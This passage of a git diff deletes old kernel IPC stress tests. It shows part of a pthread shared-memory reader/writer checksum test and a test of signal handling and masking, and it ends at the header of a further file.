-|               pthread_cond_init()                                    |
-|               pthread_attr_init()                                    |
-|               pthread_attr_setdetachstate()                          |
-|               pthread_create()                                       |
-|               pthread_join()                                         |
-|               pthread_mutex_lock()                                   |
-|               pthread_cond_broadcast()                               |
-|               pthread_mutex_unlock()                                 |
-|               pthread_cond_wait()                                    |
-|               pthread_mutex_destroy()                                |
-|                                                                      |
-|                                                                      |
-| Usage:                                                               |
-|       shmem_test_07 [-c num_readers] [-s shmem_size] [-g num_writers]|
-|                                                                      |
-| To compile:                                                          |
-|       cc_r -g -lpthreads -lc_r -o shmem_test_07 shmem_test_07.c      |
-|                                                                      |
-| Last update:                                                         |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     011697  JM    Initial version for AIX 4.2G                |
-|                                                                      |
-+---------------------------------------------------------------------*/
-#define _XOPEN_SOURCE 600
-#include <pthread.h>
-#include <errno.h>
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-#include <limits.h>
-#include <sys/ipc.h>
-#include <sys/shm.h>
-#include <sys/sem.h>
-#include <sys/signal.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-
-#include <sys/stat.h>
-/* Defines
- *
- * DEFAULT_SHMEM_SIZE: default shared memory size, unless specified with
- * -s command line option
- *
- * SHMEM_MODE: shared memory access permissions (permit process to read
- * and write access)
- *
- * USAGE: usage statement
- */
-#define MAX_THREAD_NUMBER	500
-#define MAX_WRITER_NUMBER	100
-#define MAX_READER_NUMBER	400
-
-#define DEFAULT_NUM_READERS	2
-#define DEFAULT_NUM_WRITERS	2
-
-#define SHMEM_MODE              (SHM_R | SHM_W)
-
-#define DEFAULT_SHMEM_SIZE	200000
-#define MB              	(1024*1024)
-#define MAX_SHMEM_NUMBER        11
-
-#define USAGE	"\nUsage: %s [-c num_readers] [-g num_writers] [-s shmem_size]\n\n" \
-		"\t-c num_readers    number of thread (readers) to create\n" \
-		"\t-g num_writers    number of thread (writers) to create\n" \
-		"\t-s buffer_size    size of shared memory segment (bytes)\n" \
-		"\t                  (must be less than 256MB!)\n\n"
-
-/*
- * Function prototypes
- *
- * parse_args (): Parse command line arguments
- * reader (): Thread program
- * writer (): "scratch" each and every shared memory segment
- * sys_error (): System error message function
- * error (): Error message function
- * release (): Release the shared memory segments
- */
-static void parse_args(int, char **);
-static void *reader(void *);
-static void *writer(void *);
-static void sys_error(const char *, int);
-static void error(const char *, int);
-static void release();
-
-/*
- * Global Variables:
- *
- * checksum: Array of checksums computed by reader threads
- * read_count: number of reader threads reading data
-
- * num_readers: number of reader threads to create
- * num_writers: number of writer threads to create
- * buffer_size: size of "scratch" shared memory segment
- * parent_pid: Process id of the parent
- */
-pthread_t *writer_th;
-pthread_t *reader_th;
-
-pthread_mutex_t mutex_r[MAX_WRITER_NUMBER];
-pthread_mutex_t cond_mutex[MAX_WRITER_NUMBER];
-int thread_hold[MAX_WRITER_NUMBER];
-pthread_cond_t cond_var[MAX_WRITER_NUMBER];
-
-int *read_count[MAX_WRITER_NUMBER];	/* Shared memory segment address */
-unsigned long *checksum[MAX_WRITER_NUMBER];	/* Shared memory segment address */
-unsigned char *shmptr[MAX_WRITER_NUMBER];	/* Shared memory segment address */
-unsigned long cksum[MAX_WRITER_NUMBER];	/* Shared memory segment checksum */
-
-int shmem_size = DEFAULT_SHMEM_SIZE;
-pid_t parent_pid;		/* process id of parent */
-
-int num_readers = DEFAULT_NUM_READERS;
-int buffer_size = DEFAULT_SHMEM_SIZE;
-int num_writers = DEFAULT_NUM_WRITERS;
-
-int shmid[MAX_THREAD_NUMBER + MAX_WRITER_NUMBER];
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	pthread_attr_t newattr;
-
-	int i;			/* Misc loop index */
-	int j;			/* Misc loop index */
-	int k;			/* Misc loop index */
-	size_t Size;		/* Size (in bytes) of shared memory segment */
-
-	unsigned long *ulptr;	/* Misc pointer */
-	/* Index into shared memory segment */
-
-	/*
-	 * Parse command line arguments and print out program header
-	 */
-	parse_args(argc, argv);
-
-	printf("%s: IPC Shared Memory TestSuite program\n", *argv);
-	/*
-	 * Show options in effect.
-	 */
-	printf("\tNumber of writers    = %d\n", num_writers);
-	printf("\tNumber of readers    = %d\n", num_readers);
-	printf("\tBytes per writer	= %d\n", buffer_size);
-
-/*---------------------------------------------------------------------+
-|			shared memory segments                         |
-+---------------------------------------------------------------------*/
-
-	for (i = 0; i < num_writers; i++) {
-		/*
-		 * Obtain a unique shared memory identifier with shmget ().
-		 * Attach the shared memory segment to the process with shmat ().
-		 */
-
-		j = i * 3;
-		Size = sizeof(int);
-		/*
-		 * Create a shared memory segment for storing the read count
-		 * (number of reader threads reading shared data)
-		 * After creating the shared memory segment, initialize it.
-		 */
-
-		if ((shmid[j] = shmget(IPC_PRIVATE, Size, SHMEM_MODE)) < 0)
-			sys_error("read_count shmget failed", __LINE__);
-
-		if ((long)(read_count[i] = shmat(shmid[j], 0, 0)) == -1)
-			sys_error("shmat failed", __LINE__);
-
-		*(read_count[i]) = 0;
-
-		/*
-		 * Create a shared memory segment for storing the checksums of readers.
-		 * After creating the shared memory segment, initialize it.
-		 */
-
-		j++;
-		Size = sizeof(unsigned long) * num_readers;
-
-		if ((shmid[j] = shmget(IPC_PRIVATE, Size, SHMEM_MODE)) < 0)
-			sys_error("checksum shmget failed", __LINE__);
-
-		if ((long)(checksum[i] = shmat(shmid[j], 0, 0))
-		    == -1)
-			sys_error("shmat failed", __LINE__);
-
-		ulptr = checksum[i];
-
-		for (k = 0; k < num_readers; k++) {
-			*ulptr = 0;
-			ulptr++;
-		}
-
-		/*
-		 * Create the "scratch" shared memory segment for storing
-		 * a series of values .
-		 */
-
-		Size = buffer_size;
-		j++;
-
-		if ((shmid[j] = shmget(IPC_PRIVATE, Size, SHMEM_MODE)) < 0)
-			sys_error("shmptr shmget failed", __LINE__);
-
-		if ((long)(shmptr[i] = shmat(shmid[j], 0, 0)) == -1)
-			sys_error("shmat failed", __LINE__);
-
-	}
-/*---------------------------------------------------------------------+
-|			Threads                                        |
-+---------------------------------------------------------------------*/
-
-	/*
-	 * Create threads array...
-	 */
-	writer_th = malloc((size_t)(num_writers * sizeof(pthread_t)));
-	reader_th = malloc((size_t)(num_writers * num_readers * sizeof(pthread_t)));
-	/*
-	 * Initializes mutexes and sets their attributes
-	 */
-	for (i = 0; i < num_writers; i++) {
-
-		if (pthread_mutex_init(&mutex_r[i], NULL) != 0)
-			sys_error("Can't initialize mutex_r", __LINE__);
-
-		if (pthread_mutex_init(&cond_mutex[i], NULL))
-			sys_error("Can't initialize cond_mutex", __LINE__);
-		if (pthread_cond_init(&cond_var[i], NULL))
-			sys_error("cond_init(&cond_var) failed", __LINE__);
-		/*
-		 * lock the access to the shared memory data segment --
-		 * get lock now to insure the writer gets first access to the segment.
-		 *
-		 */
-
-		thread_hold[i] = 1;
-
-	}
-
-	/*
-	 * Creates a thread attributes object and initializes it
-	 * with default values.
-	 */
-	if (pthread_attr_init(&newattr))
-		sys_error("attr_init(&newattr) failed", __LINE__);
-	/*
-	 * Sets the value of the detachstate attribute of a thread attributes
-	 * object :
-	 * PTHREAD_CREATE_UNDETACHED    Specifies that the thread will be
-	 * created in undetached state.
-	 */
-#ifdef _LINUX_
-	// the DEFAULT state for linux pthread_create is to be "undetatched" or joinable
-	/* if (pthread_attr_setdetachstate (&newattr, PTHREAD_CREATE_JOINABLE))
-	   sys_error ("attr_setdetachstate(&newattr) failed", __LINE__); */
-#else
-	if (pthread_attr_setdetachstate(&newattr, PTHREAD_CREATE_UNDETACHED))
-		sys_error("attr_setdetachstate(&newattr) failed", __LINE__);
-#endif
-
-	/*
-	 * Create all num_writers threads .  Each writer thread will fill
-	 * the "scratch" shared memory segment (shmptr) up with data and
-	 * will store the result in cksum array accessible by the main.
-	 */
-
-	for (i = 0; i < num_writers; i++) {
-		if (pthread_create
-		    (&writer_th[i], &newattr, writer, (void *)(long)i))
-			sys_error("writer: pthread_create failed", __LINE__);
-
-		/*
-		 * Create all num_readers threads .  Each reader thread will compute
-		 * the checksum of the shared memory segment (shmptr) and will store
-		 * the result in the other shared memory segment (checksum)accessible
-		 * by the writer.
-		 */
-
-		k = i * num_readers;
-		for (j = k; j < (k + num_readers); j++) {
-			if (pthread_create
-			    (&reader_th[j], &newattr, reader, (void *)(long)j))
-				sys_error("reader: pthread_create failed",
-					  __LINE__);
-		}
-	}
-
-	for (i = 0; i < num_writers; i++) {
-		if (pthread_join(writer_th[i], NULL)) {
-			printf("writer_th: pthread_join return: %d\n", i);
-			sys_error("pthread_join bad status", __LINE__);
-		}
-
-		/*
-		 * Wait for the reader threads to compute the checksums and complete.
-		 */
-		k = i * num_readers;
-		for (j = k; j < (k + num_readers); j++) {
-			if (pthread_join(reader_th[j], NULL)) {
-				printf("reader_th: pthread_join return: %d\n",
-				       j);
-				sys_error("pthread_join bad status", __LINE__);
-			}
-		}
-	}
-
-	/*
-	 * After the threads complete, check their exit status to insure
-	 * that they ran to completion and then verify the corresponding
-	 * checksum.
-	 */
-	for (i = 0; i < num_writers; i++) {
-		ulptr = checksum[i];
-		for (j = 0; j < num_readers; j++) {
-
-			if (cksum[i] != *ulptr)
-				error("checksums do not match", __LINE__);
-
-		}
-	}
-	printf("\n\tMain: readers calculated segment successfully\n");
-
-	release();
-	printf("\nsuccessful!\n");
-
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                               writer ()                              |
-| ==================================================================== |
-|                                                                      |
-| Function:  Fill the "scratch" shared memory segment up with data and |
-|            compute the segment checksum.                             |
-|            Release "write" lock after completing so that the readers |
-|	     are able to start.                                        |
-|	                                                               |
-| Updates:   cksum[]  - array containing checksums computed by writers.|
-|	     data shared memory segment filled up.                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void *writer(void *parm)
-{
-	int num_w = (int)(long)parm;
-	unsigned long cksum_w = 0;	/* Shared memory regions checksum */
-	unsigned char data = 0;	/* Value written into shared memory segment */
-	unsigned char *ptr;	/* Misc pointer */
-
-	/*
-	 * Fill the "scratch" shared memory segment up with data and
-	 * compute the segments checksum.  Release "write" lock after
-	 * completing so that the reader threads may begin to read the
-	 * data.
-	 */
-	data = num_w;
-
-	for (ptr = shmptr[num_w]; ptr < (shmptr[num_w] + buffer_size); ptr++) {
-		*ptr = (data++) % (UCHAR_MAX + 1);
-		cksum_w += *ptr;
-	}
-	if (pthread_mutex_lock(&cond_mutex[num_w]))
-		sys_error("mutex_lock(&cond_mutex) failed", __LINE__);
-	thread_hold[num_w] = 0;
-	if (pthread_cond_broadcast(&cond_var[num_w]))
-		sys_error("cond_signal(&cond_var) failed", __LINE__);
-	if (pthread_mutex_unlock(&cond_mutex[num_w]))
-		sys_error("mutex_unlock(&cond_mutex) failed", __LINE__);
-
-	cksum[num_w] = cksum_w;
-	printf("\t\twriter (%03d): shared memory checksum %08lx\n", num_w,
-	       cksum_w);
-
-	return NULL;
-}
-
-/*---------------------------------------------------------------------+
-|                               reader ()                              |
-| ==================================================================== |
-|                                                                      |
-| Function:  Waits for read access to the shared memory segment,       |
-|            computes the shared memory segments checksum and releases |
-|            the read lock.  Then stores the checksum.                 |
-|                                                                      |
-| Updates:   checksum - shared memory segment containing checksums     |
-|                       computed by reader threads                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void *reader(void *parm)
-{
-	int num_p = (int)(long)parm;
-	unsigned long cksum_r = 0;	/* Shared memory regions checksum */
-	int i;			/* Misc index */
-	int num_r;		/* Misc index */
-	int num_w;		/* Misc index */
-	unsigned char *ptr;	/* Misc pointer */
-	unsigned long *ulptr_r;	/* Misc pointer */
-
-	/*
-	 * Wait for a READ_COUNT lock on the shared memory segment, then
-	 * compute the checksum and release the READ_COUNT lock.
-	 */
-
-	num_r = num_p % num_readers;
-	num_w = num_p - num_r;
-	num_w = num_w / num_readers;
-	ptr = shmptr[num_w];
-	ulptr_r = checksum[num_w];
-
-	if (pthread_mutex_lock(&cond_mutex[num_w]))
-		sys_error("Can't take cond lock", __LINE__);
-	/*
-	 * Check to see if we need to wait: if yes, wait for the condition
-	 * variable (blocking wait).
-	 */
-	while (thread_hold[num_w]) {
-		if (pthread_cond_wait(&cond_var[num_w], &cond_mutex[num_w]))
-			sys_error("cond_wait failed", __LINE__);
-	}
-	if (pthread_mutex_unlock(&cond_mutex[num_w]))
-		sys_error("Can't release cond lock", __LINE__);
-
-	if (pthread_mutex_lock(&mutex_r[num_w]))
-		sys_error("Can't take read lock", __LINE__);
-
-	(*(read_count[num_w]))++;
-
-	if (pthread_mutex_unlock(&mutex_r[num_w]))
-		sys_error("Can't release read lock", __LINE__);
-
-	for (i = 0; i < buffer_size; i++)
-		cksum_r += *ptr++;
-
-	if (pthread_mutex_lock(&mutex_r[num_w]))
-		sys_error("Can't take read lock", __LINE__);
-	(*(read_count[num_w]))--;
-	if (pthread_mutex_unlock(&mutex_r[num_w]))
-		sys_error("Can't release 1 read lock", __LINE__);
-
-	/*
-	 * Store the resulting checksum and print out a message
-	 */
-
-	*ulptr_r = cksum_r;
-	printf("\t\treader (%03d) of writer (%03d): checksum %08lx\n", num_r,
-	       num_w, cksum_r);
-	return NULL;
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-s] size: shared memory segment size                     |
-|                                                                      |
-|            [-c] num_readers: number of reader threads                |
-|                                                                      |
-|            [-g] num_writers: number of writer threads                |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void parse_args(int argc, char **argv)
-{
-	int i;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	while ((i = getopt(argc, argv, "c:s:g:?")) != EOF) {
-		switch (i) {
-		case 'c':
-			num_readers = atoi(optarg);
-			break;
-		case 's':
-			buffer_size = atoi(optarg);
-			break;
-		case 'g':	/* number of group */
-			num_writers = atoi(optarg);
-			break;
-		case '?':
-			errflag++;
-			break;
-		}
-	}
-	if (num_writers >= MAX_WRITER_NUMBER) {
-		errflag++;
-		fprintf(stderr, "ERROR: num_writers must be less than %d\n",
-			MAX_WRITER_NUMBER);
-	}
-	if (num_readers >= MAX_READER_NUMBER) {
-		errflag++;
-		fprintf(stderr, "ERROR: num_readers must be less than %d\n",
-			MAX_READER_NUMBER);
-	}
-	i = num_readers * num_writers;
-	if (i >= MAX_THREAD_NUMBER) {
-		errflag++;
-		fprintf(stderr,
-			"ERROR: maximun threads number must be less than %d\n",
-			MAX_THREAD_NUMBER);
-	}
-
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             release ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Release shared memory regions.                            |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void release()
-{
-	int i;
-	int j;
-	for (i = 0; i < num_writers; i++) {
-		if (pthread_mutex_destroy(&cond_mutex[i]) != 0)
-			sys_error("Can't destroy cond_mutex", __LINE__);
-		if (pthread_mutex_destroy(&mutex_r[i]) != 0)
-			sys_error("Can't destroy mutex_r", __LINE__);
-	}
-
-	for (i = 0; i < num_writers; i++) {
-		/*
-		 * Release shared memory regions
-		 */
-		j = i * 3;
-		if (shmctl(shmid[j], IPC_RMID, 0) < 0)
-			sys_error("read_count shmctl failed", __LINE__);
-		j++;
-		if (shmctl(shmid[j], IPC_RMID, 0) < 0)
-			sys_error("checksum shmctl failed", __LINE__);
-		j++;
-		if (shmctl(shmid[j], IPC_RMID, 0) < 0)
-			sys_error("shmptr shmctl failed", __LINE__);
-
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	if (line >= 260)
-		release();
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/signal_test_01.c b/testcases/kernel/ipc/ipc_stress/signal_test_01.c
deleted file mode 100644
index 250bd8a..0000000
--- a/testcases/kernel/ipc/ipc_stress/signal_test_01.c
+++ /dev/null
@@ -1,425 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                           signal_test_01                             |
-| ==================================================================== |
-|                                                                      |
-| Description:  Simplistic test to verify the signal system function   |
-|               calls:                                                 |
-|                                                                      |
-| Algorithm:    o  Setup a signal-catching function for every possible |
-|                  signal                                              |
-|               o  Send signals to the process and verify that they    |
-|                  were received by the signal-catching function       |
-|               o  Block a few signals by changing the process signal  |
-|                  mask.  Send signals to the process and verify that  |
-|                  they indeed were blocked                            |
-|               o  Add additional signals to the process signal mask.  |
-|                  Verify that they were blocked too                   |
-|               o  Change the process signal mask to unblock one       |
-|                  signal and suspend execution of the process until   |
-|                  the signal is received.  Verify that the unblocked  |
-|                  signal is received                                  |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               sigstack () - Sets signal stack context                |
-|               sigsetmask () - Sets the current signal mask           |
-|               sigblock () - Sets the current signal mask             |
-|               sigpause () - Automically changes the set of blocked   |
-|                             signals and waits for a signal           |
-|               sigvec () - Specify the action to take upon delivery   |
-|                           of a signal.                               |
-|               kill () - Sends a signal to a process                  |
-|                                                                      |
-| Usage:        signal_test_01                                         |
-|                                                                      |
-| To compile:   cc -o signal_test_01 signal_test_01.c                  |
-|                                                                      |
-| Last update:   Ver. 1.3, 4 June 2001                                 |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     050689  CTU   Initial version                             |
-|    0.2     112293  DJK   Rewrite for AIX version 4.1                 |
-|    1.2     020794  DJK   Move to "prod" directory                    |
-|    1.3     060401  VHM   Port to work in linux                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <errno.h>
-#ifdef _LINUX_
-#define __USE_XOPEN
-#endif
-#include <signal.h>
-#include <unistd.h>
-
-/* Macro for specifying signal masks */
-#define STACKSIZE SIGSTKSZ
-
-/* Define an alternative stack for processing signals */
-char stackarray[STACKSIZE];
-
-#include "signals.h"
-
-#ifdef _LINUX_
-stack_t stack = {
-ss_sp:	stackarray + STACKSIZE,	// stack pointer
-ss_flags:0,			//SS_ONSTACK,      // flags
-ss_size:STACKSIZE		// size
-};
-
-stack_t *oldstack;
-
-// SIGMAX is defined in the AIX headers to be 63 - 64 seems to work in linux??
-// however, signals 32, 33, and 34 are not valid
-#define SIGMAX 64
-
-#else // ! _LINUX_
-
-struct sigstack stack = {
-	stackarray + STACKSIZE,	/* signal stack pointer */
-	(_ONSTACK & ~_OLDSTYLE)	/* current status */
-};
-#endif
-
-/* Function prototypes */
-void handler(int);		/* signal catching function */
-void init_sig_vec();		/* setup signal handler for signals */
-void reset_valid_sig();		/* reset valid_sig array */
-void sys_error(const char *, int);	/* system error message function */
-void error(const char *, int);	/* error message function */
-
-/* Define an array for verifying received signals */
-int valid_sig[SIGMAX + 1];
-
-/*---------------------------------------------------------------------+
-|                               main ()                                |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	sigset_t mask,		/* Initial process signal mask */
-	 newmask,		/* Second process signal mask */
-	 oldmask;		/* Signal mask returned by sigblock */
-	pid_t pid = getpid();	/* Process ID (of this process) */
-
-	/* Print out program header */
-	printf("%s: IPC Signals TestSuite program\n\n", *argv);
-
-	/*
-	 * Establish signal handler for each signal & reset "valid signals"
-	 * array, and setup alternative stack for processing signals
-	 */
-	init_sig_vec();
-	reset_valid_sig();
-#ifdef _LINUX_
-	// sigstack function is obsolete, use sigaltstack instead
-	if (sigaltstack(&stack, NULL) < 0)
-		sys_error("sigaltstack failed", __LINE__);
-#else
-	if (sigstack(&stack, NULL) < 0)
-		sys_error("sigstack failed", __LINE__);
-#endif
-	/*
-	 * Send SIGILL, SIGALRM & SIGIOT signals to this process:
-	 *
-	 * First indicate which signals the signal handler should expect
-	 * by setting the corresponding valid_sig[] array fields.
-	 *
-	 * Then send the signals to this process.
-	 *
-	 * And finally verify that the signals were caught by the signal
-	 * handler by checking to see if the corresponding valid_sig[] array
-	 * fields were reset.
-	 */
-	printf("\tSend SIGILL, SIGALRM, SIGIOT signals to process\n");
-	valid_sig[SIGILL] = 1;
-	valid_sig[SIGALRM] = 1;
-	valid_sig[SIGIOT] = 1;
-
-	kill(pid, SIGILL);
-	kill(pid, SIGALRM);
-	kill(pid, SIGIOT);
-
-	if (valid_sig[SIGILL])
-		error("failed to receive SIGILL signal!", __LINE__);
-	if (valid_sig[SIGALRM])
-		error("failed to receive SIGALRM signal!", __LINE__);
-	if (valid_sig[SIGIOT])
-		error("failed to receive SIGIOT signal!", __LINE__);
-
-	/*
-	 * Block SIGILL, SIGALRM & SIGIOT signals:
-	 *
-	 * First create the process signal mask by ORing together the
-	 * signal values.
-	 *
-	 * Then change the process signal mask with sigsetmask ().
-	 *
-	 * Verify that the desired signals are blocked from interrupting the
-	 * process, by sending both blocked and unblocked signals to the
-	 * process. Only the unblocked signals should interrupt the process.
-	 */
-	printf("\n\tBlock SIGILL, SIGALRM, SIGIOT signals, "
-	       "and resend signals + others\n");
-	sigemptyset(&mask);
-	sigaddset(&mask, SIGILL);
-	sigaddset(&mask, SIGALRM);
-	sigaddset(&mask, SIGIOT);
-#ifdef _LINUX_
-	sigprocmask(SIG_SETMASK, &mask, NULL);
-#else
-	if (sigsetmask(mask) < 0)
-		sys_error("setsigmask failed", __LINE__);
-#endif
-	valid_sig[SIGFPE] = 1;
-	valid_sig[SIGTERM] = 1;
-	valid_sig[SIGINT] = 1;
-
-	kill(pid, SIGILL);
-	kill(pid, SIGALRM);
-	kill(pid, SIGIOT);
-	kill(pid, SIGFPE);
-	kill(pid, SIGTERM);
-	kill(pid, SIGINT);
-
-	if (valid_sig[SIGFPE])
-		error("failed to receive SIGFPE signal!", __LINE__);
-	if (valid_sig[SIGTERM])
-		error("failed to receive SIGTERM signal!", __LINE__);
-	if (valid_sig[SIGINT])
-		error("failed to receive SIGINT signal!", __LINE__);
-
-	/*
-	 * Block additional SIGFPE, SIGTERM & SIGINT signals:
-	 *
-	 * Create a signal mask containing the additional signals to block.
-	 *
-	 * Change the process signal mask to block the additional signals
-	 * with the sigprocmask () function.
-	 *
-	 * Verify that all of the desired signals are now blocked from
-	 * interrupting the process.  None of the specified signals should
-	 * interrupt the process until the process signal mask is changed.
-	 */
-	printf("\n\tBlock rest of signals\n");
-	sigemptyset(&newmask);
-	sigaddset(&newmask, SIGFPE);
-	sigaddset(&newmask, SIGTERM);
-	sigaddset(&newmask, SIGINT);
-	sigemptyset(&oldmask);
-	if (sigprocmask(SIG_BLOCK, &newmask, &oldmask) < 0) {
-		perror("sigprocmask failed");
-		exit(-1);
-	}
-	if (memcmp(&mask, &oldmask, sizeof(mask)) != 0)
-		error("value returned by sigblock () does not match the "
-		      "old signal mask", __LINE__);
-
-	kill(pid, SIGILL);
-	kill(pid, SIGALRM);
-	kill(pid, SIGIOT);
-	kill(pid, SIGFPE);
-	kill(pid, SIGTERM);
-	kill(pid, SIGINT);
-
-	/* Wait two seconds just to make sure that none of the specified
-	 * signals interrupt the process (They should all be blocked).
-	 */
-	sleep(2);
-
-	/* Change the process signal mask:
-	 *
-	 * Now allow the SIGINT signal to interrupt the process.
-	 * Thus by using sigpause (), force the process to suspend
-	 * execution until delivery of an unblocked signal (here SIGINT).
-	 *
-	 * Additionally, verify that the SIGINT signal was received.
-	 */
-	valid_sig[SIGINT] = 1;
-
-	printf
-	    ("\n\tChange signal mask & wait until signal interrupts process\n");
-	if (sigpause(SIGINT) != -1 || errno != 4)
-		sys_error("sigpause failed", __LINE__);
-
-	if (valid_sig[SIGINT])
-		error("failed to receive SIGINT signal!", __LINE__);
-
-	/* Program completed successfully -- exit */
-	printf("\nsuccessful!\n");
-
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                           init_sig_vec ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Initialize the signal vector for ALL possible signals     |
-|            (as defined in /usr/include/sys/signal.h) except for      |
-|            the following signals which cannot be caught or ignored:  |
-|                                                                      |
-|              o  SIGKILL (9)                                          |
-|              o  SIGSTOP (17)                                         |
-|              o  SIGCONT (19)                                         |
-|                                                                      |
-| Returns:   Nothing                                                   |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void init_sig_vec()
-{
-	char errmsg[256];
-	int i;
-
-#ifdef _LINUX_
-	static struct sigaction invec;
-
-	for (i = 1; i <= SIGMAX; i++) {
-		if ((i == SIGKILL) || (i == SIGSTOP)
-		    || ((i >= 32) && (i <= 34)))
-			continue;
-		invec.sa_handler = handler;
-		//sigaction.sa_mask = 0;
-		invec.sa_flags = 0;
-
-		if (sigaction(i, &invec, NULL)) {
-			sprintf(errmsg,
-				"init_sig_vec: sigaction failed on signal (%d)",
-				i);
-			perror(errmsg);
-			sys_error(errmsg, __LINE__);
-		}
-	}
-#else
-	static struct sigvec invec;
-
-	for (i = 1; i <= SIGMAX; i++) {
-
-		/* Cannot catch or ignore the following signals */
-#ifdef _IA64			/* SIGWAITING NOT supported, RESERVED */
-		if ((i == SIGKILL) || (i == SIGSTOP) ||
-		    (i == SIGCONT) || (i == SIGWAITING))
-			continue;
-#else
-		if ((i == SIGKILL) || (i == SIGSTOP) || (i == SIGCONT))
-			continue;
-#endif
-
-		invec.sv_handler = handler;
-		//invec.sv_mask = SA_NOMASK;
-#if defined  _IA64
-		invec.sv_flags = 1;
-#else
-		invec.sv_onstack = 1;
-#endif
-		if (sigvec(i, &invec, NULL)) {
-			sprintf(errmsg,
-				"init_sig_vec: sigvec failed on signal (%d)",
-				i);
-			perror(errmsg);
-			sys_error(errmsg, __LINE__);
-		}
-	}
-#endif //ifdef _LINUX_
-}
-
-/*---------------------------------------------------------------------+
-|                             handler ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Signal catching function.  As specified in init_sig_vec() |
-|            this function is automatically called each time a signal  |
-|            is received by the process.                               |
-|                                                                      |
-|            Once receiving the signal, verify that the corresponding  |
-|            signal was expected.                                      |
-|                                                                      |
-| Returns:   Aborts program if an unexpected signal was received.      |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void handler(int sig)
-{
-	char errmsg[256];
-
-	/* Check to insure that expected signal was received */
-	if (valid_sig[sig]) {
-		valid_sig[sig] = 0;
-		printf("\treceived signal: (%s)\n", signames[sig]);
-	} else {
-		sprintf(errmsg, "unexpected signal (%d,%s)", sig,
-			(sig < 32) ? signames[sig] : "unknown signal");
-		error(errmsg, __LINE__);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                         reset_valid_sig ()                           |
-| ==================================================================== |
-|                                                                      |
-| Function:  Reset the valid "signal" array                            |
-|                                                                      |
-| Returns:   Nothing                                                   |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void reset_valid_sig()
-{
-	int i;
-
-	for (i = 0; i < (SIGMAX + 1); i++)
-		valid_sig[i] = 0;
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	char derr[256];
-	sprintf(derr, "ERROR [line: %d] %s\n", line, msg);
-	perror(derr);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/signal_test_02.c b/testcases/kernel/ipc/ipc_stress/signal_test_02.c
deleted file mode 100644
index f8bb0eb..0000000
--- a/testcases/kernel/ipc/ipc_stress/signal_test_02.c
+++ /dev/null
@@ -1,385 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
